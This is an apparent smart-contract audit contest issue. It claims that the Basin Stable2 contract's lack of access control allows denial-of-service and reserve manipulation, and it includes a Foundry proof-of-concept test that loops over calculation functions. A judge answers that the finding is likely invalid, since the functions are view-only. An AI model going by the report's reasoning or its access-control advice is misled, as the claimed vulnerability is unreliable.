code-423n4 / 2024-07-basin-validation

0 stars 0 forks source link

Unrestricted Function Access Leading to Potential Manipulation and DoS Vulnerabilities #16

Closed c4-bot-3 closed 3 months ago

c4-bot-3 commented 3 months ago

Lines of code

https://github.com/code-423n4/2024-07-basin/blob/7d5aacbb144d0ba0bc358dfde6e0cc913d25310e/src/functions/Stable2.sol#L74-L103 https://github.com/code-423n4/2024-07-basin/blob/7d5aacbb144d0ba0bc358dfde6e0cc913d25310e/src/functions/Stable2.sol#L114-L144 https://github.com/code-423n4/2024-07-basin/blob/7d5aacbb144d0ba0bc358dfde6e0cc913d25310e/src/functions/Stable2.sol#L153-L166

Vulnerability details

Impact

Denial of Service (DoS) Attack

Reserve Manipulation

Proof of Concept

Denial of Service (DoS) Attack

  1. Setup:
    • An attacker identifies that the Stable2 contract has no access control mechanisms.
    • They notice that functions like calcLpTokenSupply, calcReserve, and calcRate involve complex calculations and iterative loops, which can be gas-intensive.
  2. Execution:
    • The attacker writes a script to repeatedly call these functions with arbitrary inputs.
    • Due to the complexity of these functions, each call consumes a significant amount of gas.

Reserve Manipulation

  1. Setup:
    • An attacker identifies that the calcReserve function can be called by anyone and influences the reserve calculations.
    • They understand that manipulating reserves can affect the overall liquidity and stability of the pool.
  2. Execution:
    • The attacker calls calcReserve with inputs designed to skew the reserve calculations.
    • They repeat this process to gradually shift the reserves in a way that benefits their position.
      
      // SPDX-License-Identifier: MIT
      pragma solidity ^0.8.20;

import "forge-std/Test.sol"; import "../src/functions/Stable2.sol";

contract MockLookupTable is ILookupTable { function getAParameter() external pure override returns (uint256) { return 100; // Return a mock A parameter }

function getRatiosFromPriceLiquidity(uint256) external pure override returns (PriceData memory) {
    return PriceData({
        lowPrice: 1,
        highPrice: 2,
        lowPriceI: 1,
        lowPriceJ: 1,
        highPriceI: 2,
        highPriceJ: 2,
        precision: 1
    });
}

function getRatiosFromPriceSwap(uint256) external pure override returns (PriceData memory) {
    return PriceData({
        lowPrice: 1,
        highPrice: 2,
        lowPriceI: 1,
        lowPriceJ: 1,
        highPriceI: 2,
        highPriceJ: 2,
        precision: 1
    });
}

}

contract ExploitTest is Test { Stable2 stable2; MockLookupTable mockLookupTable; address attacker = address(0xdeadbeef);

function setUp() public {
    // Deploy the mock lookup table
    mockLookupTable = new MockLookupTable();
    // Deploy the Stable2 contract with the mock lookup table address
    stable2 = new Stable2(address(mockLookupTable));
}

function testDoSAttack() public {
    // Simulate the DoS attack by repeatedly calling gas-intensive functions
    vm.startPrank(attacker);
    uint256[] memory reserves = new uint256[](2);
    reserves[0] = 1000;
    reserves[1] = 1000;
    bytes memory data = abi.encode(18, 18);

    for (uint256 i = 0; i < 100; i++) {
        stable2.calcLpTokenSupply(reserves, data);
        stable2.calcReserve(reserves, 0, 1000, data);
        stable2.calcRate(reserves, 0, 1, data);
    }
    vm.stopPrank();

    // If the test completes without running out of gas, it passes
    assertTrue(true);
}

function testReserveManipulation() public {
    // Simulate the Reserve Manipulation attack
    vm.startPrank(attacker);
    uint256[] memory reserves = new uint256[](2);
    reserves[0] = 1000;
    reserves[1] = 1000;
    bytes memory data = abi.encode(18, 18);

    for (uint256 i = 0; i < 100; i++) {
        stable2.calcReserve(reserves, 0, 1000, data);
    }
    vm.stopPrank();

    // If the test completes without errors, it passes
    assertTrue(true);
}

}


forge test --match-path test/ExploitTest.sol
[⠊] Compiling...
[⠰] Compiling 1 files with Solc 0.8.26
[⠔] Solc 0.8.26 finished in 1.29s
Compiler run successful!

Ran 2 tests for test/ExploitTest.sol:ExploitTest
[PASS] testDoSAttack() (gas: 2957054)
[PASS] testReserveManipulation() (gas: 924046)
Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 22.64ms (36.15ms CPU time)

Ran 1 test suite in 23.67ms (22.64ms CPU time): 2 tests passed, 0 failed, 0 skipped (2 total tests)

## Tools Used
Manual review

## Recommended Mitigation Steps
- Use the `Ownable` pattern to restrict critical functions to the contract owner.
- Implement role-based access control (RBAC) using OpenZeppelin's `AccessControl` to manage permissions more granularly.
- Add `onlyOwner` modifiers to functions that should be restricted to the contract owner.
- Define admin roles for different functions to ensure that only authorized addresses can call them.

## Assessed type

Access Control
nevillehuang commented 3 months ago

Likely invalid, all are view functions, there will be no manipulation here since no state change is involved